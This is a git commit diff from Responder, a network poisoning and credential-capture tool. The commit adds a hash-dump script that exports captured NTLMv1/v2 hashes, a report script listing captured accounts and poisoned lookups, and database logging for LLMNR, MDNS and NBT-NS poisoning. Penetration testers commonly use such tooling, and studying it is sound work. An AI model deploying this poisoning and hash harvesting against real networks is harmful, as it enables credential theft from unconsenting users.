mirror of
https://github.com/lgandx/Responder.git
synced 2025-07-11 07:36:15 -07:00
Added: Hashdump, Stats report
This commit is contained in:
parent
0642999741
commit
21d48be98f
9 changed files with 222 additions and 13 deletions
49
DumpHash.py
Executable file
49
DumpHash.py
Executable file
|
@ -0,0 +1,49 @@
|
||||||
|
#!/usr/bin/env python
|
||||||
|
# This file is part of Responder, a network take-over set of tools
|
||||||
|
# created and maintained by Laurent Gaffie.
|
||||||
|
# email: laurent.gaffie@gmail.com
|
||||||
|
# This program is free software: you can redistribute it and/or modify
|
||||||
|
# it under the terms of the GNU General Public License as published by
|
||||||
|
# the Free Software Foundation, either version 3 of the License, or
|
||||||
|
# (at your option) any later version.
|
||||||
|
#
|
||||||
|
# This program is distributed in the hope that it will be useful,
|
||||||
|
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||||
|
# GNU General Public License for more details.
|
||||||
|
#
|
||||||
|
# You should have received a copy of the GNU General Public License
|
||||||
|
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
|
import sqlite3
|
||||||
|
|
||||||
|
def DumpHashToFile(outfile, data):
|
||||||
|
with open(outfile,"w") as dump:
|
||||||
|
dump.write(data)
|
||||||
|
|
||||||
|
def DbConnect():
|
||||||
|
cursor = sqlite3.connect("./Responder.db")
|
||||||
|
return cursor
|
||||||
|
|
||||||
|
def GetResponderCompleteNTLMv2Hash(cursor):
|
||||||
|
res = cursor.execute("SELECT fullhash FROM Responder WHERE type LIKE '%v2%' AND UPPER(user) in (SELECT DISTINCT UPPER(user) FROM Responder)")
|
||||||
|
Output = ""
|
||||||
|
for row in res.fetchall():
|
||||||
|
Output += '{0}'.format(row[0])+'\n'
|
||||||
|
return Output
|
||||||
|
|
||||||
|
def GetResponderCompleteNTLMv1Hash(cursor):
|
||||||
|
res = cursor.execute("SELECT fullhash FROM Responder WHERE type LIKE '%v1%' AND UPPER(user) in (SELECT DISTINCT UPPER(user) FROM Responder)")
|
||||||
|
Output = ""
|
||||||
|
for row in res.fetchall():
|
||||||
|
Output += '{0}'.format(row[0])+'\n'
|
||||||
|
return Output
|
||||||
|
|
||||||
|
cursor = DbConnect()
|
||||||
|
print "Dumping NTLMV2 hashes:"
|
||||||
|
v2 = GetResponderCompleteNTLMv2Hash(cursor)
|
||||||
|
DumpHashToFile("DumpNTLMv2.txt", v2)
|
||||||
|
print v2
|
||||||
|
print "\nDumping NTLMv1 hashes:"
|
||||||
|
v1 = GetResponderCompleteNTLMv1Hash(cursor)
|
||||||
|
DumpHashToFile("DumpNTLMv1.txt", v1)
|
||||||
|
print v1
|
95
Report.py
Executable file
95
Report.py
Executable file
|
@ -0,0 +1,95 @@
|
||||||
|
#!/usr/bin/env python
|
||||||
|
# This file is part of Responder, a network take-over set of tools
|
||||||
|
# created and maintained by Laurent Gaffie.
|
||||||
|
# email: laurent.gaffie@gmail.com
|
||||||
|
# This program is free software: you can redistribute it and/or modify
|
||||||
|
# it under the terms of the GNU General Public License as published by
|
||||||
|
# the Free Software Foundation, either version 3 of the License, or
|
||||||
|
# (at your option) any later version.
|
||||||
|
#
|
||||||
|
# This program is distributed in the hope that it will be useful,
|
||||||
|
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||||
|
# GNU General Public License for more details.
|
||||||
|
#
|
||||||
|
# You should have received a copy of the GNU General Public License
|
||||||
|
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
|
import sqlite3
|
||||||
|
import os
|
||||||
|
|
||||||
|
def color(txt, code = 1, modifier = 0):
|
||||||
|
if txt.startswith('[*]'):
|
||||||
|
settings.Config.PoisonersLogger.warning(txt)
|
||||||
|
elif 'Analyze' in txt:
|
||||||
|
settings.Config.AnalyzeLogger.warning(txt)
|
||||||
|
|
||||||
|
if os.name == 'nt': # No colors for windows...
|
||||||
|
return txt
|
||||||
|
return "\033[%d;3%dm%s\033[0m" % (modifier, code, txt)
|
||||||
|
|
||||||
|
def DbConnect():
|
||||||
|
cursor = sqlite3.connect("./Responder.db")
|
||||||
|
return cursor
|
||||||
|
|
||||||
|
def GetResponderData(cursor):
|
||||||
|
res = cursor.execute("SELECT * FROM Responder")
|
||||||
|
for row in res.fetchall():
|
||||||
|
print('{0} : {1}, {2}, {3}, {4}, {5}, {6}, {7}, {8}'.format(row[0], row[1], row[2], row[3], row[4], row[5], row[6], row[7], row[8]))
|
||||||
|
|
||||||
|
def GetResponderUsernamesStatistic(cursor):
|
||||||
|
res = cursor.execute("SELECT COUNT(DISTINCT UPPER(user)) FROM Responder")
|
||||||
|
for row in res.fetchall():
|
||||||
|
print color('[+] In total {0} unique user accounts were captured.'.format(row[0]), code = 2, modifier = 1)
|
||||||
|
|
||||||
|
def GetResponderUsernames(cursor):
|
||||||
|
res = cursor.execute("SELECT DISTINCT user FROM Responder")
|
||||||
|
for row in res.fetchall():
|
||||||
|
print('User account: {0}'.format(row[0]))
|
||||||
|
|
||||||
|
def GetResponderUsernamesWithDetails(cursor):
|
||||||
|
res = cursor.execute("SELECT client, user, module, type, cleartext FROM Responder WHERE UPPER(user) in (SELECT DISTINCT UPPER(user) FROM Responder) ORDER BY client")
|
||||||
|
for row in res.fetchall():
|
||||||
|
print('IP: {0} module: {1}:{3}\nuser account: {2}'.format(row[0], row[2], row[1], row[3]))
|
||||||
|
|
||||||
|
|
||||||
|
def GetResponderCompleteHash(cursor):
|
||||||
|
res = cursor.execute("SELECT fullhash FROM Responder WHERE UPPER(user) in (SELECT DISTINCT UPPER(user) FROM Responder)")
|
||||||
|
for row in res.fetchall():
|
||||||
|
print('{0}'.format(row[0]))
|
||||||
|
|
||||||
|
def GetUniqueLookups(cursor):
|
||||||
|
res = cursor.execute("SELECT * FROM Poisoned WHERE ForName in (SELECT DISTINCT UPPER(ForName) FROM Poisoned) ORDER BY SentToIp, Poisoner")
|
||||||
|
for row in res.fetchall():
|
||||||
|
print('IP: {0}, Protocol: {1}, Looking for name: {2}'.format(row[2], row[1], row[3]))
|
||||||
|
|
||||||
|
|
||||||
|
def GetStatisticUniqueLookups(cursor):
|
||||||
|
res = cursor.execute("SELECT COUNT(*) FROM Poisoned WHERE ForName in (SELECT DISTINCT UPPER(ForName) FROM Poisoned)")
|
||||||
|
for row in res.fetchall():
|
||||||
|
print color('[+] In total {0} unique queries were poisoned.'.format(row[0]), code = 2, modifier = 1)
|
||||||
|
|
||||||
|
|
||||||
|
def SavePoisonersToDb(result):
|
||||||
|
|
||||||
|
for k in [ 'Poisoner', 'SentToIp', 'ForName', 'AnalyzeMode']:
|
||||||
|
if not k in result:
|
||||||
|
result[k] = ''
|
||||||
|
|
||||||
|
def SaveToDb(result):
|
||||||
|
|
||||||
|
for k in [ 'module', 'type', 'client', 'hostname', 'user', 'cleartext', 'hash', 'fullhash' ]:
|
||||||
|
if not k in result:
|
||||||
|
result[k] = ''
|
||||||
|
|
||||||
|
cursor = DbConnect()
|
||||||
|
print color("[+] Generating report...", code = 3, modifier = 1)
|
||||||
|
print color("[+] Unique lookups ordered by IP:", code = 2, modifier = 1)
|
||||||
|
GetUniqueLookups(cursor)
|
||||||
|
GetStatisticUniqueLookups(cursor)
|
||||||
|
print color("\n[+] Extracting captured usernames:", code = 2, modifier = 1)
|
||||||
|
GetResponderUsernames(cursor)
|
||||||
|
print color("\n[+] Username details:", code = 2, modifier = 1)
|
||||||
|
GetResponderUsernamesWithDetails(cursor)
|
||||||
|
GetResponderUsernamesStatistic(cursor)
|
||||||
|
#print color("\n[+] Captured hashes:", code = 2, modifier = 1)
|
||||||
|
#GetResponderCompleteHash(cursor)
|
|
@ -62,6 +62,9 @@ settings.Config.ExpandIPRanges()
|
||||||
if settings.Config.AnalyzeMode:
|
if settings.Config.AnalyzeMode:
|
||||||
print color('[i] Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned.', 3, 1)
|
print color('[i] Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned.', 3, 1)
|
||||||
|
|
||||||
|
#Create the DB, before we start Responder.
|
||||||
|
CreateResponderDb()
|
||||||
|
|
||||||
class ThreadingUDPServer(ThreadingMixIn, UDPServer):
|
class ThreadingUDPServer(ThreadingMixIn, UDPServer):
|
||||||
def server_bind(self):
|
def server_bind(self):
|
||||||
if OsInterfaceIsSupported():
|
if OsInterfaceIsSupported():
|
||||||
|
@ -231,7 +234,7 @@ def main():
|
||||||
|
|
||||||
# Load Browser Listener
|
# Load Browser Listener
|
||||||
from servers.Browser import Browser
|
from servers.Browser import Browser
|
||||||
threads.append(Thread(target=serve_thread_udp_broadcast, args=('', 138, Browser,)))
|
#threads.append(Thread(target=serve_thread_udp_broadcast, args=('', 138, Browser,)))
|
||||||
|
|
||||||
if settings.Config.HTTP_On_Off:
|
if settings.Config.HTTP_On_Off:
|
||||||
from servers.HTTP import HTTP
|
from servers.HTTP import HTTP
|
||||||
|
|
|
@ -62,13 +62,24 @@ class LLMNR(BaseRequestHandler): # LLMNR Server class
|
||||||
if settings.Config.AnalyzeMode:
|
if settings.Config.AnalyzeMode:
|
||||||
LineHeader = "[Analyze mode: LLMNR]"
|
LineHeader = "[Analyze mode: LLMNR]"
|
||||||
print color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1)
|
print color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1)
|
||||||
|
SavePoisonersToDb({
|
||||||
|
'Poisoner': 'LLMNR',
|
||||||
|
'SentToIp': self.client_address[0],
|
||||||
|
'ForName': Name,
|
||||||
|
'AnalyzeMode': '1',
|
||||||
|
})
|
||||||
else: # Poisoning Mode
|
else: # Poisoning Mode
|
||||||
Buffer = LLMNR_Ans(Tid=data[0:2], QuestionName=Name, AnswerName=Name)
|
Buffer = LLMNR_Ans(Tid=data[0:2], QuestionName=Name, AnswerName=Name)
|
||||||
Buffer.calculate()
|
Buffer.calculate()
|
||||||
soc.sendto(str(Buffer), self.client_address)
|
soc.sendto(str(Buffer), self.client_address)
|
||||||
LineHeader = "[*] [LLMNR]"
|
LineHeader = "[*] [LLMNR]"
|
||||||
print color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0], Name), 2, 1)
|
print color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0], Name), 2, 1)
|
||||||
|
SavePoisonersToDb({
|
||||||
|
'Poisoner': 'LLMNR',
|
||||||
|
'SentToIp': self.client_address[0],
|
||||||
|
'ForName': Name,
|
||||||
|
'AnalyzeMode': '0',
|
||||||
|
})
|
||||||
if Finger is not None:
|
if Finger is not None:
|
||||||
print text("[FINGER] OS Version : %s" % color(Finger[0], 3))
|
print text("[FINGER] OS Version : %s" % color(Finger[0], 3))
|
||||||
print text("[FINGER] Client Version : %s" % color(Finger[1], 3))
|
print text("[FINGER] Client Version : %s" % color(Finger[1], 3))
|
||||||
|
|
|
@ -51,6 +51,12 @@ class MDNS(BaseRequestHandler):
|
||||||
if settings.Config.AnalyzeMode: # Analyze Mode
|
if settings.Config.AnalyzeMode: # Analyze Mode
|
||||||
if Parse_IPV6_Addr(data):
|
if Parse_IPV6_Addr(data):
|
||||||
print text('[Analyze mode: MDNS] Request by %-15s for %s, ignoring' % (color(self.client_address[0], 3), color(Request_Name, 3)))
|
print text('[Analyze mode: MDNS] Request by %-15s for %s, ignoring' % (color(self.client_address[0], 3), color(Request_Name, 3)))
|
||||||
|
SavePoisonersToDb({
|
||||||
|
'Poisoner': 'MDNS',
|
||||||
|
'SentToIp': self.client_address[0],
|
||||||
|
'ForName': Request_Name,
|
||||||
|
'AnalyzeMode': '1',
|
||||||
|
})
|
||||||
else: # Poisoning Mode
|
else: # Poisoning Mode
|
||||||
if Parse_IPV6_Addr(data):
|
if Parse_IPV6_Addr(data):
|
||||||
|
|
||||||
|
@ -60,3 +66,9 @@ class MDNS(BaseRequestHandler):
|
||||||
soc.sendto(str(Buffer), (MADDR, MPORT))
|
soc.sendto(str(Buffer), (MADDR, MPORT))
|
||||||
|
|
||||||
print color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0], Request_Name), 2, 1)
|
print color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0], Request_Name), 2, 1)
|
||||||
|
SavePoisonersToDb({
|
||||||
|
'Poisoner': 'MDNS',
|
||||||
|
'SentToIp': self.client_address[0],
|
||||||
|
'ForName': Request_Name,
|
||||||
|
'AnalyzeMode': '0',
|
||||||
|
})
|
||||||
|
|
|
@ -54,6 +54,12 @@ class NBTNS(BaseRequestHandler):
|
||||||
if settings.Config.AnalyzeMode: # Analyze Mode
|
if settings.Config.AnalyzeMode: # Analyze Mode
|
||||||
LineHeader = "[Analyze mode: NBT-NS]"
|
LineHeader = "[Analyze mode: NBT-NS]"
|
||||||
print color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1)
|
print color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1)
|
||||||
|
SavePoisonersToDb({
|
||||||
|
'Poisoner': 'NBT-NS',
|
||||||
|
'SentToIp': self.client_address[0],
|
||||||
|
'ForName': Name,
|
||||||
|
'AnalyzeMode': '1',
|
||||||
|
})
|
||||||
else: # Poisoning Mode
|
else: # Poisoning Mode
|
||||||
Buffer = NBT_Ans()
|
Buffer = NBT_Ans()
|
||||||
Buffer.calculate(data)
|
Buffer.calculate(data)
|
||||||
|
@ -62,6 +68,13 @@ class NBTNS(BaseRequestHandler):
|
||||||
|
|
||||||
print color("%s Poisoned answer sent to %s for name %s (service: %s)" % (LineHeader, self.client_address[0], Name, NBT_NS_Role(data[43:46])), 2, 1)
|
print color("%s Poisoned answer sent to %s for name %s (service: %s)" % (LineHeader, self.client_address[0], Name, NBT_NS_Role(data[43:46])), 2, 1)
|
||||||
|
|
||||||
|
SavePoisonersToDb({
|
||||||
|
'Poisoner': 'NBT-NS',
|
||||||
|
'SentToIp': self.client_address[0],
|
||||||
|
'ForName': Name,
|
||||||
|
'AnalyzeMode': '0',
|
||||||
|
})
|
||||||
|
|
||||||
if Finger is not None:
|
if Finger is not None:
|
||||||
print text("[FINGER] OS Version : %s" % color(Finger[0], 3))
|
print text("[FINGER] OS Version : %s" % color(Finger[0], 3))
|
||||||
print text("[FINGER] Client Version : %s" % color(Finger[1], 3))
|
print text("[FINGER] Client Version : %s" % color(Finger[1], 3))
|
||||||
|
|
20
settings.py
20
settings.py
|
@ -20,7 +20,7 @@ import subprocess
|
||||||
|
|
||||||
from utils import *
|
from utils import *
|
||||||
|
|
||||||
__version__ = 'Responder 2.3.3.2'
|
__version__ = 'Responder 2.3.3.4'
|
||||||
|
|
||||||
class Settings:
|
class Settings:
|
||||||
|
|
||||||
|
@ -229,9 +229,12 @@ class Settings:
|
||||||
|
|
||||||
try:
|
try:
|
||||||
NetworkCard = subprocess.check_output(["ifconfig", "-a"])
|
NetworkCard = subprocess.check_output(["ifconfig", "-a"])
|
||||||
except subprocess.CalledProcessError as ex:
|
except:
|
||||||
NetworkCard = "Error fetching Network Interfaces:", ex
|
try:
|
||||||
pass
|
NetworkCard = subprocess.check_output(["ip", "address", "show"])
|
||||||
|
except subprocess.CalledProcessError as ex:
|
||||||
|
NetworkCard = "Error fetching Network Interfaces:", ex
|
||||||
|
pass
|
||||||
try:
|
try:
|
||||||
DNS = subprocess.check_output(["cat", "/etc/resolv.conf"])
|
DNS = subprocess.check_output(["cat", "/etc/resolv.conf"])
|
||||||
except subprocess.CalledProcessError as ex:
|
except subprocess.CalledProcessError as ex:
|
||||||
|
@ -239,9 +242,12 @@ class Settings:
|
||||||
pass
|
pass
|
||||||
try:
|
try:
|
||||||
RoutingInfo = subprocess.check_output(["netstat", "-rn"])
|
RoutingInfo = subprocess.check_output(["netstat", "-rn"])
|
||||||
except subprocess.CalledProcessError as ex:
|
except:
|
||||||
RoutingInfo = "Error fetching Routing information:", ex
|
try:
|
||||||
pass
|
RoutingInfo = subprocess.check_output(["ip", "route", "show"])
|
||||||
|
except subprocess.CalledProcessError as ex:
|
||||||
|
RoutingInfo = "Error fetching Routing information:", ex
|
||||||
|
pass
|
||||||
|
|
||||||
Message = "Current environment is:\nNetwork Config:\n%s\nDNS Settings:\n%s\nRouting info:\n%s\n\n"%(NetworkCard,DNS,RoutingInfo)
|
Message = "Current environment is:\nNetwork Config:\n%s\nDNS Settings:\n%s\nRouting info:\n%s\n\n"%(NetworkCard,DNS,RoutingInfo)
|
||||||
try:
|
try:
|
||||||
|
|
26
utils.py
26
utils.py
|
@ -146,14 +146,17 @@ def DumpConfig(outfile, data):
|
||||||
with open(outfile,"a") as dump:
|
with open(outfile,"a") as dump:
|
||||||
dump.write(data + '\n')
|
dump.write(data + '\n')
|
||||||
|
|
||||||
def SaveToDb(result):
|
def CreateResponderDb():
|
||||||
# Creating the DB if it doesn't exist
|
|
||||||
if not os.path.exists(settings.Config.DatabaseFile):
|
if not os.path.exists(settings.Config.DatabaseFile):
|
||||||
cursor = sqlite3.connect(settings.Config.DatabaseFile)
|
cursor = sqlite3.connect(settings.Config.DatabaseFile)
|
||||||
cursor.execute('CREATE TABLE responder (timestamp varchar(32), module varchar(16), type varchar(16), client varchar(32), hostname varchar(32), user varchar(32), cleartext varchar(128), hash varchar(512), fullhash varchar(512))')
|
cursor.execute('CREATE TABLE Poisoned (timestamp TEXT, Poisoner TEXT, SentToIp TEXT, ForName TEXT, AnalyzeMode TEXT)')
|
||||||
|
cursor.commit()
|
||||||
|
cursor.execute('CREATE TABLE responder (timestamp TEXT, module TEXT, type TEXT, client TEXT, hostname TEXT, user TEXT, cleartext TEXT, hash TEXT, fullhash TEXT)')
|
||||||
cursor.commit()
|
cursor.commit()
|
||||||
cursor.close()
|
cursor.close()
|
||||||
|
|
||||||
|
def SaveToDb(result):
|
||||||
|
|
||||||
for k in [ 'module', 'type', 'client', 'hostname', 'user', 'cleartext', 'hash', 'fullhash' ]:
|
for k in [ 'module', 'type', 'client', 'hostname', 'user', 'cleartext', 'hash', 'fullhash' ]:
|
||||||
if not k in result:
|
if not k in result:
|
||||||
result[k] = ''
|
result[k] = ''
|
||||||
|
@ -222,6 +225,23 @@ def SaveToDb(result):
|
||||||
cursor.commit()
|
cursor.commit()
|
||||||
cursor.close()
|
cursor.close()
|
||||||
|
|
||||||
|
def SavePoisonersToDb(result):
|
||||||
|
|
||||||
|
for k in [ 'Poisoner', 'SentToIp', 'ForName', 'AnalyzeMode' ]:
|
||||||
|
if not k in result:
|
||||||
|
result[k] = ''
|
||||||
|
|
||||||
|
cursor = sqlite3.connect(settings.Config.DatabaseFile)
|
||||||
|
cursor.text_factory = sqlite3.Binary # We add a text factory to support different charsets
|
||||||
|
res = cursor.execute("SELECT COUNT(*) AS count FROM Poisoned WHERE Poisoner=? AND SentToIp=? AND ForName=? AND AnalyzeMode=?", (result['Poisoner'], result['SentToIp'], result['ForName'], result['AnalyzeMode']))
|
||||||
|
(count,) = res.fetchone()
|
||||||
|
|
||||||
|
if not count:
|
||||||
|
cursor.execute("INSERT INTO Poisoned VALUES(datetime('now'), ?, ?, ?, ?)", (result['Poisoner'], result['SentToIp'], result['ForName'], result['AnalyzeMode']))
|
||||||
|
cursor.commit()
|
||||||
|
|
||||||
|
cursor.close()
|
||||||
|
|
||||||
|
|
||||||
def Parse_IPV6_Addr(data):
|
def Parse_IPV6_Addr(data):
|
||||||
if data[len(data)-4:len(data)][1] =="\x1c":
|
if data[len(data)-4:len(data)][1] =="\x1c":
|
||||||
|
|
Loading…
Add table
Add a link
Reference in a new issue